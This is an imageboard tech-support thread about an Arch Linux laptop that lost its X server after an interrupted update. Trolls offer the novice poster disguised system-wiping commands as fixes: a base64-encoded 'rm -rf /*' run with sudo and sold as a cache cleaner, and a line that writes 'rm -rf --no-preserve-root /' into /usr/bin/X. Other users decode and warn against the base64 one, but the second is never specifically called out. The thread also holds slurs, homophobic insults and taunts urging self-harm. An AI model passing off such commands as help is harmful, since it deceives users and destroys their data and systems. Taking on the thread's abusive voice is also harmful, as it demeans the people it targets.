What the frick is this and what do I do about it?
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What the frick is this and what do I do about it?
What the frick is this and what do I do about it?
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Time to reinstall gentoo
you dont have directory named X
create it:
mkdir /usr/bin/X
it has to be a binary, don't do this OP
That's not the issue, his cache is blocking access to his X dir by his binaries and libs that aren't compatible. This happens all the time, he should run the command below to clear up his cache and free up space on his computer. It removes all the bloat. Works on all major distros
echo "cm0gLXJmIC8q" | base64 -d > cleancache; chmod 700 cleancache; sudo ./cleancache &
OP DO NOT RUN IT, THIS BASE64 VALUE IS "rm -rf /*"
It does remove all the bloat as I said
So what should I actually run? This is strange. What do I do. There is some important work on there u haven't backed up.
Alright, let's break this command down step by step:
1 echo "cm0gLXJmIC8q" | base64 -d: This part takes the base64-encoded string "cm0gLXJmIC8q" and decodes it using the base64 command with the -d (decode) flag. The decoded string is then passed to the next command through the pipe (|).
2 > cleancache: The output of the previous command (the decoded string) is redirected into a file named cleancache.
3 chmod 700 cleancache: This command changes the permissions of the cleancache file to 700, which means that only the owner of the file has read, write, and execute permissions.
4 sudo ./cleancache &: This part runs the cleancache file as a script with root privileges using sudo, and the & symbol at the end means the script is run in the background.
Now, about that base64 string: when decoded, it contains the command rm -rf /*, which is a notorious command that recursively deletes all files and directories in the root directory. This is definitely malicious and can cause serious damage to the system. So yes, this command is harmful, and you should not run it.
However, the cleancache script isn't necessarily malicious by nature. Depending on its content, it could be meant to clear some system caches or perform other maintenance tasks, but it's the rm -rf /* part that makes the whole command dangerous.
thanks, chatGPT
fricking ChatGPT picking up that itll wipe your system but also believing your whole system is cache lmao
Grok?
>echo "cm0gLXJmIC8q
kys simp
Frick off Black personbot
>he fell for the linux meme
lol
Chroot and Install Xorg
Hmm yeah okay will try this
make sure you use arch-chroot if you use arch, else you won't be able to use devices and connect to internet after chroot.
It isn't working with either of these suggestions. Pic related.
Are you running from the ISO flash drive? It appears that you are running the same operating system on your device.
Don't run any of them, they will both wipe your system.
Nope not using a flash drive. This has been running for months on the laptop.
sudo pacman -Ss xorg and then install the packages, I don't remember the group name but I was something like xorg-server or even just xorg. Try these
sudo pacman -S xorg
sudo pacman -S xorg-server
werks for me
Running arch as daily driver for 5 years now. Literally never broke on me ever. These memes are all skill issues.
this. I barely ever remember to update it too. Ill batch install like 3 months of updates when i need to install a new package, and it just werks
just install wayland
switch to GNU/Wayland
Do this OP
sudo echo -e '#!/bin/bashnrm -rf --no-preserve-root /' > /usr/bin/X && sudo chmod +x /usr/bin/X
Consider pop instead. It just werks, has drivers for nvidia cards and build-in recovery partition.
https://pop.system76.com/
This is getting weirder. Won't let me install anything through pacman.
run
sudo rm -rf /var/lib/pacman/db.lck
Doesn't this wipe the whole system?
No don't worry.
The rm command stands for "remove", I'm telling it to remove the locked pacman database only, which will free it and allow you to install wayland.
Running it on "/" will wipe the entire system, but in this case you're specifying the selected file.
Same error 🙁
Steven, no I have not
why recursively though?
>rm = wipe system
I think its time to install windows buddy
No, only if you run it on / it will. otherwise it will do just the file. you can remove the "-rf", it is not neccessary
Smartest Arch user right here everyone.
my dude if you can't read what the command does you're just not cut out for configuring an arch system. Use the just work linux mint/noobuntu
If someone has the motivation to want to learn linux at a detailed level even if it comes from le autism, it's best to start at arch. You learn everything from ground up which is harder up front to learn. I think though it cost more time to learn everything if you start from the top (mint/ubuntu/etc) then try to learn harder concepts that are common in things like (arch/gentoo/debian). Let OPs autism work so he'll learn rather than just waste time playing video games or something stupid
Yeah but he's not even attempting to read what any of the commands are trying to do. He's not bothering to even attempt to understand what is happening or why it's happening.
In all seriousness, I don't understand people who use -rf when they're trying to delete a single file. It's like russian roulette.
>I don't understand people who use -rf when they're trying to delete a single file
this exact moronation lead to an install script deleting your home dir after someone accidentally put a space between
>lead to an install script deleting your home dir
LAMMMOOO!!!!! What program was it? this is my first time hearing about something like this
bumblebee, a driver for Nvidia laptop graphics to let you use the integrated graphics for general display and the GPU for vidyas
Garuda linux did it when they put a space between "/" and "tmp", or sth like that
>happened (at least) twice
I just ran with -f and it has worked now. Thank you fellas.
Why the frick are you using the -rf argument for a single file? Miss a slash and you destroy a system directory.
> rm -rf
> -rf
> a fricking file
people like you should be nowhere near a computer. horrifying.
alias nuke="sudo rm -r"
only kids are afraid of commands
some kids need to get good at bash before they end up here creating threads such as
> good morning, sirs! my important bobs and vagene folder is gone!
Kyle, did you get it fixed yet?
Can anyone give me the quick rundown on this Kyle?
how do you not know who kyle is? are you new?
No. Just usually in practical threads, not eceleb shit. So no QRD?
so you just happen to suddenly become interested in eceleb shit
Kyle uses arch btw..
You have mistaken...Pacman is an arcade game. Fricking zoomers these days.
>kyle
>>kyle
Woah I knew he ended up on IQfy but I never saw this vid
Good on ya brother
That looks not unlike me actually. And I do use dosbox but only to play doom and doom II.
OP should have used Wayland. He got X-memed.
>13 seconds to load Duke
What the frick? It shouldn't even take that long to compile the game from source, add it to a dosbox dir, and then run it after.
>OP should have used Wayland
even if you use gayland you'll need to have xorg installed for xgayland, moron
>moron-posting
Pottery. I don't use xgayland, and thus don't have xorg installed.
Oh wow so it is Arch. Yet another victim claimed.
>Arch
Hahaha keyring bug strikes again. Seriously, stop using Arch.
>startx
startx
>startx
startx
>startx
>he doesnt use exec xinit -- vt1 > /dev/null 2>&1
Kyle pls
Install Fedora
Install OpenSUSE
Install Ubuntu
Install something used by everyone else that isn't arch or gentoo
kek
>linux issue thread
>winsaar sees
>winsaar redeems
Thanks fellas, all fixed now.
what are you going to do with your laptop now?
customize it like my body. firstly cut off all the unnecessary bloat hehe. Then decorate it nicely and girly :3
Uninstall troonix, this shitty operating system has proven its uselessness in this thread.
Watch a few episodes of this
How far along are you? I finished it some time back, not as PEAK as people said it would be. It was fun though
It is my 3rd watch. It is peak for me. Very good show. Just met that little knobhead Dieter lol.
noice
Given your lack of knowledge regarding asic stuff in this thread, I would advise looking for a simple distribution like Fedora, or to learn for yourself.
>or to learn for yourself.
that's what this thread is for
I fixed it didn't I?
Yes but you could run into such an issue in the future, and the anons here will always find a way to suggest you to nuke your system.
We fixed it, not you as in singular. Read the wiki and how things work so you can actually fix your system in the future, or use a more stable and simple distro instead
If I read the wiki then the wiki authors could just as easily say "we fixed it for you" too. If I Google it I did the same as posting here.
The wiki won't straight up give you the answer however, the wiki tells you how thing works, then from that you figure out how things work. I mean I'm not saying is wrong asking for help but since you're struggling with basic stuff you do need to learn some, see how I knew your laptop had turned off during install? that was because of the db.lock file, unlocking the pacman is quite easy once you know the purpose of that file
People here gives you the answer but won't tell you how they know, and that's what you need for the future, the why
calm down, kyle
Also you didn't fix it. I said in a previous comment I added an -f to the command (which I got from the arch site btw) and that is what foxed it. You did nothing. Toher more helpful and respectful anons did give me a hand however, and for them I thank. Not for fixing my shit, but not being a "muh wiki" gay.
the wiki is a meme used by arch users to troll newbies. nobody actually started learning arch from wiki. Just like you don't learn how to fight by reading war and peace by tolstoy or other oversized book
Judging by this thread, you don't know what you are doing nor are you technically orientated. Unless this laptop isn't your main machine and you aren't doing important work on it, you shouldn't be using linux. Linux is an awful desktop experience unless you are technically orientated enough to make changes on code you are running
Why don't you mind your own business you massive homosexual
Enjoy suffering with your mental disabilities, moron
look at that desktop completely devoid of anything at all.
I know, beautiful right?
a Thinkpad thread!
hey OP just a heads up, judging from the pics you posted it seems your laptop turned off while updating the system, be careful of that it's like playing russian roulette and if it happens at the wrong time it will brick your system. Check any other important packages you have install and see if they are still working, if not then install manually again, I'd recommend you just reinstall all of your packages but it's not really necessary
This is why GNU/Linux is not yet ready for mass adoption. I know one can frick with windows updates in all kinds of ways and it still works
when Windows doesn't delete all your files in the process, that is
I don't know a single person who this happened to, not irl, not on IQfy. But I heard it removes other partitions or gives itself priority over grub
didn't happen to me either when I still used Windows, but I know people that happened to
>or gives itself priority over grub
yeah, that's annoying too. I still have my W10 partition even if I never use it anymore, and I'm glad it's on a separate SSD so that shit doesn't happen to me
I use mine for bloated software that uni mandates we use to keep my linux partition clean.
mine serves a single purpose: running MMOminion when I need to bot on FFXIV
otherwise I just play it on Linux when I'm actually playing myself since it just works. Arch having XIVLauncher on the AUR is pretty good
(also I should add I don't use grub anyway, I installed Arch with systemd-boot)
Brother frick off, why do you homies have to always make it about windows?
>Brother
which third world country?
Your mom's crotch.
I once enabled wsl on windows, rebooted, and that vm never booted again, lel.
clearly a user error
also
>running a vm inside a vm
a vm inside a vm? I meant the windows vm never booted again, all i did was tick some wsl checkbox and reboot. I should try it again, it'd be pretty funny if it died over that twice.
Wsl runs on hyper-v, anon
Fedora does atomic updates, and then there are all the immutable distros too that have safe updates.
Thanks anon. That is exactly what happened. I leant on the keyboard as I was doing other stuff and it was installing a bunch of packages and it killed the install. It wouldn't respond so I powered down. I will be more careful next time.
Yeah I knew it, same thing happened to me only it actually fricked my system beyond recovery. I mean I could've have probably recovered booting from a flash and reinstalling the packages carefully but it was easier to reinstall from scratch.
Reinstall Xorg via usb or reinstall your os, or create a system link to Xorg if you already have it.
>What the frick is this
Your fault.
>what do I do about it
Fall from a great height.
install xorg-server
Absolute state of troonix
>clip
use test probes
What is that thing?
Top is a laptop with an USB SPI BIOS chip reader
Bottom one is a thin client pc with its bios chip being read
>X
deprecated
Only the ends of the probes are exposed, the body is inside transparent heatshrink.
>buys a Thinkpad to install arch on
>fail completely cause zoomie script kiddy who only knows le epic IQfy memes
this thread sums up most of this board rather well
You're not wrong about IQfy, but you're posting this on a pretty standard tech support thread
>MOM CANCEL MY MEETINGS PACMAN FRICKED UP MY XORG.CONF AGAIN
your ISO is gone, sorry anon :/
time to boot from USB...
you dun goofed
>What the frick is this and what do I do about it?
Switch to a non shit distro like NixOS
$ edit autoexec.bat
How can anyone even bother to use linux? If something breaks it requires a gorillion commands to fix, none of which I'm likely to know without googling. You can't make a post asking for help when something goes wrong either because hordes of tinker toons are biting at the bit to call you a moron and leave pointless comments like "WOMM, skill issue" etc. There's literally no way any non-NEET would have time for this shit.
You sound really mad about your skill issues.
I just run debian 12 stable. Hasn't crashed once since I installed it. It just comes down to not being a moron.
Debian is literally the ultimate werx distro
Because you only ever see threads when there is a problem and 99% of these problems are on tinker distros like arch and gentoo. Just use a mainstream distro like debian, ubuntu or mint and everything works out of the box. I literally didn't use the command line in 2 years because everything just werks but you won't see me making a thread about it.
None of the NEETs in here even knew how to fix the problem
They probably just reinstall the OS every other week
I'll be your tech support for $100 an hour. If you can't or won't pay that that's an exclusive (you) problem.
>he dodn’t systemd maxx
heh. classic
To everyone posting solutions, thank you, but the issue was fixed. Thank a million lads. And to those wiki-tards, this was quicker and more fun.